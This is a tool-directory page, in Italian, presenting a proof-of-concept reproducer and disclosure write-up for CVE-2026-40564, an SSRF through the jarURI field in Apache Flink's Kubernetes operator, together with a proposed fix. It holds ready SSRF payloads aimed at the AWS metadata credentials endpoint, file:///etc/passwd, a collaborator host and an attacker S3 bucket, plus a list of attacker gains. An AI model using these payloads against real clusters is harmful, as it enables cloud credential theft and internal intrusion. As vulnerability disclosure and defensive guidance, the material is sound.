Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-40564 — CVE-2026-40564: SSRF tramite jarURI di FlinkSessionJob in apache/flink-kubernetes-operator. Reproducer autonomo eseguibile su un cluster kind locale con un solo comando make. | Kitploit
Strumenti/GitHubGitHub/oscerd/cve-2026-40564
Sicurezza dei ContenitoriAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingSicurezza Cloud
GitHuboscerd/cve-2026-40564

CVE-2026-40564

CVE-2026-40564: SSRF tramite jarURI di FlinkSessionJob in apache/flink-kubernetes-operator. Reproducer autonomo eseguibile su un cluster kind locale con un solo comando make.

Vedi Repository
2 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-40564: SSRF tramite FlinkSessionJob.spec.job.jarURI in flink-kubernetes-operator

L'Apache Flink Kubernetes Operator non controlla il campo spec.job.jarURI nelle risorse FlinkSessionJob (o FlinkDeployment). Chiunque possa creare una di queste risorse può impostare jarURI su un URL qualsiasi. Quando l'operator riconcilia la risorsa, recupera quell'URL dall'interno del proprio pod. Lo schema può essere http, https, file o uno qualsiasi dei plugin di filesystem inclusi in Flink, quindi la richiesta può arrivare quasi ovunque il pod dell'operator possa raggiungere.

  • CVE: CVE-2026-40564
  • Versioni interessate: flink-kubernetes-operator 1.14.0 e main (1.15-SNAPSHOT al 2026-04-09)
  • Segnalato a [email protected] e [email protected] il 2026-04-09
  • Catena di chiamate: SessionJobReconciler.deploy -> submitJobToSessionCluster -> uploadJar -> ArtifactManager.fetch -> HttpArtifactFetcher.fetch

Esecuzione

root@kitploit:~
make verify

Questo esegue cinque passaggi in ordine:

  1. crea un cluster kind locale
  2. installa l'operator (1.14.0) con Helm
  3. avvia un cluster di sessione Flink e attende che il suo JobManager sia attivo
  4. chiede a webhook.site un nuovo URL, poi applica un FlinkSessionJob il cui jarURI punta a quell'URL
  5. interroga webhook.site e stampa le richieste ricevute

Quando funziona, la fine dell'esecuzione si presenta così:

root@kitploit:~
==> [5/5] verify-ssrf
    target jarURI: https://webhook.site/<uuid>/exploit.jar
    target is webhook.site, confirming via its REST API...

    === webhook.site captured requests (newest first) ===
      2026-05-28 17:35:29  GET https://webhook.site/<uuid>/exploit.jar
        User-Agent: Java/17.0.17
        Source IP:  82.51.158.62

    CVE-2026-40564 CONFIRMED: the operator pod issued an HTTP GET against the attacker URL.
    Dashboard: https://webhook.site/#!/view/<uuid>

La prima esecuzione richiede dai 6 agli 8 minuti. La maggior parte del tempo serve a scaricare l'immagine flink:1.17, che pesa circa 700 MB. Le esecuzioni successive richiedono circa 3 minuti.

Cosa serve

docker, kind, kubectl 1.23 o successivo, helm 3, make, curl e jq. Il cluster deve poter raggiungere internet per comunicare con webhook.site.

Puntarlo a un URL diverso

Di default il Makefile recupera per te un nuovo URL di webhook.site. Per inviare la richiesta altrove, imposta SSRF_URL con il jarURI completo che desideri. Viene usato esattamente come scritto.

root@kitploit:~
# reuse a specific webhook.site URL
make verify SSRF_URL=https://webhook.site/8a2f1e3c-aaaa-bbbb-cccc-dddddddddddd/exploit.jar

# your own collaborator (Burp, interactsh, a netcat listener, and so on)
make verify SSRF_URL=https://abc123.oast.fun/exploit.jar

# the AWS instance metadata service
make verify SSRF_URL=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# a non-http scheme handled by Flink's filesystem layer
make verify SSRF_URL=file:///etc/passwd

Il modo in cui la verifica conferma il risultato dipende dal target. Se l'URL è su webhook.site, il Makefile legge la sua REST API e stampa le richieste catturate. Per qualsiasi altra destinazione legge il log dell'operator e cerca lo stack frame di HttpArtifactFetcher.fetch, che dimostra che il fetch è stato eseguito. Anche WEBHOOK_URL funziona e significa la stessa cosa di SSRF_URL.

Pulizia

root@kitploit:~
make cleanup

Questo rimuove il cluster kind. Non rimane nulla.

Perché accade

Sono coinvolte tre classi e nessuna di esse esamina lo schema, l'host o l'IP in jarURI.

DefaultValidator.validateJobSpec controlla il parallelismo, la modalità di upgrade, le impostazioni dei savepoint e la forma delle risorse. Non legge mai job.getJarURI():

root@kitploit:~
private Optional<String> validateJobSpec(
        JobSpec job, @Nullable TaskManagerSpec tm, Map<String, String> confMap) {
    if (job == null) return Optional.empty();
    Configuration configuration = Configuration.fromMap(confMap);
    // ... parallelism / upgradeMode / savepoint / resource checks ...
    // job.getJarURI() is never inspected.
    return Optional.empty();
}

ArtifactManager.fetch sceglie un fetcher in base allo schema. Non esiste alcuna allowlist e qualsiasi cosa che non sia http o https ricade sul layer filesystem di Flink:

root@kitploit:~
public File fetch(String jarURI, Configuration flinkConfiguration, String targetDirStr) throws Exception {
    URI uri = new URI(jarURI);
    if ("http".equals(uri.getScheme()) || "https".equals(uri.getScheme())) {
        return HttpArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
    } else {
        return FileSystemBasedArtifactFetcher.INSTANCE.fetch(jarURI, flinkConfiguration, targetDir);
    }
}

HttpArtifactFetcher.fetch apre l'URL così com'è. Non c'è alcun controllo sull'host, nessun controllo sugli intervalli di IP e nulla che impedisca di raggiungere indirizzi loopback o link-local:

root@kitploit:~
public File fetch(String uri, Configuration flinkConfiguration, File targetDir) throws Exception {
    URL url = new URL(uri);
    HttpURLConnection conn = (HttpURLConnection) url.openConnection();
    conn.setRequestMethod("GET");
    File targetFile = new File(targetDir, FilenameUtils.getName(url.getPath()));
    try (var inputStream = conn.getInputStream()) {
        FileUtils.copyToFile(inputStream, targetFile);
    }
    return targetFile;
}

Cosa ottiene un attaccante

L'operator di solito viene eseguito con RBAC molto ampi. Il chart Helm ufficiale concede * su diversi tipi di risorse, inclusi i segreti, e il pod normalmente può raggiungere la rete senza restrizioni. Se riesci a fargli inviare richieste per te, puoi:

  • leggere i servizi di metadata cloud (AWS, GCE, Azure) e recuperare le credenziali IAM associate al nodo dell'operator
  • raggiungere servizi all'interno del cluster che ascoltano solo sulla rete interna, o che si fidano dell'IP sorgente dell'operator
  • scansionare porte interne alla cieca, leggendo il risultato dal messaggio di errore nello stato di FlinkSessionJob
  • usare file, s3, hdfs, gs o qualsiasi altro schema di filesystem Flink per leggere file locali o comunicare con storage che l'operator può raggiungere ma tu no

In un cluster condiviso dove più team usano lo stesso operator, ognuno di essi può usarlo per raggiungere le risorse di un altro team.

Altri URL che funzionano

Il reproducer usa webhook.site come valore predefinito, ma il bug non si cura di quale sia l'URL. Imposta SSRF_URL, oppure modifica manifests/vulnerable-sessionjob.yaml, con uno di questi:

Come risolverlo

Aggiungi un controllo a DefaultValidator.validateJobSpec:

root@kitploit:~
if (job.getJarURI() != null) {
    Optional<String> uriError = validateJarURI(job.getJarURI(), configuration);
    if (uriError.isPresent()) return uriError;
}
root@kitploit:~
private Optional<String> validateJarURI(String jarURI, Configuration conf) {
    URI uri;
    try {
        uri = new URI(jarURI);
    } catch (URISyntaxException e) {
        return Optional.of("jarURI is not a valid URI: " + e.getMessage());
    }
    String scheme = uri.getScheme();
    if (scheme == null) return Optional.of("jarURI must include a scheme");

    Set<String> allowed = conf.get(KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES);
    if (!allowed.contains(scheme.toLowerCase(Locale.ROOT))) {
        return Optional.of("jarURI scheme '" + scheme + "' is not in the allowlist");
    }
    if ("http".equalsIgnoreCase(scheme) || "https".equalsIgnoreCase(scheme)) {
        InetAddress addr;
        try {
            addr = InetAddress.getByName(uri.getHost());
        } catch (UnknownHostException e) {
            return Optional.of("jarURI host cannot be resolved");
        }
        if (addr.isLoopbackAddress() || addr.isLinkLocalAddress()
                || addr.isSiteLocalAddress() || addr.isAnyLocalAddress()) {
            return Optional.of("jarURI host points to a restricted address");
        }
    }
    return Optional.empty();
}

Assegna a KubernetesOperatorConfigOptions.JAR_URI_ALLOWED_SCHEMES un valore predefinito di Set.of("https"). Gli operator che hanno bisogno di s3 o di un altro schema possono aggiungerlo.

Altre due cose che vale la pena fare:

  • Aggiungi una NetworkPolicy per il pod dell'operator che blocchi l'egress verso link-local (169.254.0.0/16), loopback e i noti indirizzi dei metadata cloud.
  • Su AWS, attiva IMDSv2. In questo modo anche una SSRF funzionante non può leggere il servizio di metadata senza un session token, e l'operator non ha alcun motivo per inviarne uno.

Note

Il Makefile aggira due problemi che rompono kind su Linux. Ogni controllo viene eseguito solo quando il problema è effettivamente presente, quindi è sicuro eseguirlo di nuovo.

  1. L'inoltro di CoreDNS verso loopback. Con systemd-resolved, il /etc/resolv.conf del nodo kind punta a 127.0.0.1, quindi il cluster risolve i nomi esterni su localhost. Il passaggio cluster-up riscrive la configurazione di CoreDNS per inoltrare a 1.1.1.1 e 8.8.8.8.
  2. Il pod dell'operator che eredita i domini di ricerca DNS dell'host. Con ndots impostato a 5, un nome come webhook.site riceve prima i domini di ricerca dell'host e alcuni ISP rispondono con 127.0.0.1 per i sottodomini che non riconoscono. Il passaggio install-operator assegna al pod dell'operator un dnsConfig dedicato, così questo non accade.

Se un'esecuzione completa fallisce a metà strada, puoi eseguire make verify-ssrf da solo. Legge il jarURI dal FlinkSessionJob attivo, quindi non dipende da nulla di salvato localmente.

Scarica lo strumento
jarURI
Raggiunge
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>AWS IMDSv1, le credenziali IAM del nodo del pod dell'operator
http://10.0.0.1:6443/apiUn apiserver nel cluster, o qualsiasi endpoint interno che inserisca in allowlist l'IP dell'operator
file:///etc/passwdIl filesystem del pod dell'operator, tramite il ramo del filesystem fetcher
s3://attacker-bucket/x.jarS3, usando le credenziali del pod dell'operator